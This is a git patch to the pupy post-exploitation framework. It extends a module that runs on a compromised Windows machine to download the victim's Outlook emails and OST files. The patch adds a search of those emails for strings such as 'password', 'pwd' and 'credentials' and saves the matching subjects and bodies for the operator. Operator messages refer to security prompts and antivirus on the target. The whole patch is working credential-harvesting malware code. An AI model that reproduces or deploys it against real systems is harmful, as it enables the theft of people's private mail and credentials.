From fa05e2216219af9257e795326b400333731d1510 Mon Sep 17 00:00:00 2001 From: quentinhardy Date: Tue, 18 Oct 2016 08:48:43 -0400 Subject: [PATCH] Bug fix + search in emails --- pupy/modules/outlook.py | 23 ++++++++++++++- pupy/packages/windows/all/outlook.py | 43 +++++++++++++++++++++------- 2 files changed, 55 insertions(+), 11 deletions(-) diff --git a/pupy/modules/outlook.py b/pupy/modules/outlook.py index 4447745f..65eb33ec 100644 --- a/pupy/modules/outlook.py +++ b/pupy/modules/outlook.py @@ -27,6 +27,8 @@ class Outlook(PupyModule): self.arg_parser.add_argument('-n', dest='numberOfEmails', action='store_true', help="Get number of emails stored in the outlook folder choisen (see options below)") self.arg_parser.add_argument('-d', dest='downloadAllEmails', action='store_true', help="Download all emails stored in the outlook folder choisen with MAPI (see options below)") self.arg_parser.add_argument('-t', dest='downloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)") + self.arg_parser.add_argument('-s', dest='search', action='store_true', help="Search strings in emails, see -strings for options") + self.arg_parser.add_argument('-strings', dest='strings', default="password,pwd,credentials", help="Strings to search in emails (use with -s) (default: %(default)s)") self.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help="Folder which will contain emails locally (default: %(default)s)") self.arg_parser.add_argument('-folder-default', choices=list(self.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)") self.arg_parser.add_argument('-folder-id', dest='folderId', default=None, help="Choose Outlook Folder using a folder ID (default: %(default)s)") @@ -86,6 +88,7 @@ class Outlook(PupyModule): self.error("This box is empty. You should choose another outlook folder") else: self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder)) + self.success("You can use msgconvert for reading these emails locally") self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.") self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)") logging.debug("Downloading all emails") @@ -99,4 +102,22 @@ class Outlook(PupyModule): logging.debug("Deleting {0}".format(aPathToMailFile)) outlook.deleteTempMailFile(aPathToMailFile) print "\n" - outlook.close() + self.success("Download completed!") + if args.search == True: + self.success("Searching '{0}' in emails stored in {1} folder...".format(args.strings, args.outlookFolder)) + localPathToFile = os.path.join(self.localFolder, "research.txt") + emails = outlook.searchStringsInEmails(strings=args.strings, separator=',') + if len(emails) > 0: + self.success("{0} emails found with {1}".format(len(emails), args.strings)) + else: + self.error("{0} emails found with {1}".format(len(emails), args.strings)) + f = open(localPathToFile,"w") + for i, anEmail in enumerate(emails): + f.write("-"*100+'\n') + f.write("[+] Email {0}\n".format(i)) + f.write("-"*100+'\n') + f.write("Subject: {0}\n".format(anEmail['subject'].encode('utf8'))) + f.write("Body: {0}\n".format(anEmail['body'].encode('utf8'))) + self.success("Research completed!") + self.success("See the following file for results: {0}".format(localPathToFile)) + f.close() diff --git a/pupy/packages/windows/all/outlook.py b/pupy/packages/windows/all/outlook.py index e4aeb77b..465c3822 100644 --- a/pupy/packages/windows/all/outlook.py +++ b/pupy/packages/windows/all/outlook.py @@ -6,7 +6,7 @@ import os, logging, sys, time from collections import OrderedDict import win32com import win32com.client -import glob +import glob, re class outlook(): ''' @@ -57,12 +57,6 @@ class outlook(): return True except Exception,e: return False - - def close(self): - ''' - ''' - logging.debug("Closing Outlook link...") - self.outlook.Quit() def getInformation(self): ''' @@ -191,7 +185,6 @@ class outlook(): filename = "{0}_{1}_{2}.{3}".format(receivedTime, ctime, subjectCleaned[:100], 'msg') path = os.path.join(self.remoteTempFolder,filename) logging.debug('Saving temporarily the email on the remote path {0}'.format(path)) - #mailItem.SaveAs(path, self.OL_SAVE_AS_TYPE['olMSG']) mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType]) try: os.rename(path, path) #test if the file is not opened by another process @@ -203,8 +196,12 @@ class outlook(): def deleteTempMailFile(self,path): ''' ''' - os.remove(path) - + try: + os.remove(path) + except OSError as e: + time.sleep(self.sleepTime) + os.remove(path) + """ def getAllSubjects(self): ''' @@ -258,3 +255,29 @@ class outlook(): logging.info('OST file found in {0}'.format(ostFileFound)) paths.append([os.path.basename(aFile), ostFileFound]) return paths + + + def searchStringsInEmails(self, strings, separator=','): + ''' + Returns emails when aString in subject or body + ''' + emails= [] + stringsSplited = strings.split(separator) + for aString in stringsSplited: + results = self.searchAStringInEmails(aString) + emails = emails + results + return emails + + def searchAStringInEmails(self, aString): + ''' + Returns emails when aString in subject or body + ''' + body, subject, emails = "", "", [] + logging.debug("Searching {1} over {0} emails...".format(self.getNbOfEmails(), aString)) + for anEmail in self.inbox.Items: + outEmail = {'body':anEmail.Body, 'subject':anEmail.Subject} + if bool(re.search(aString, anEmail.Subject))==True: + emails.append(outEmail) + elif bool(re.search(aString, anEmail.Body))==True: + emails.append(outEmail) + return emails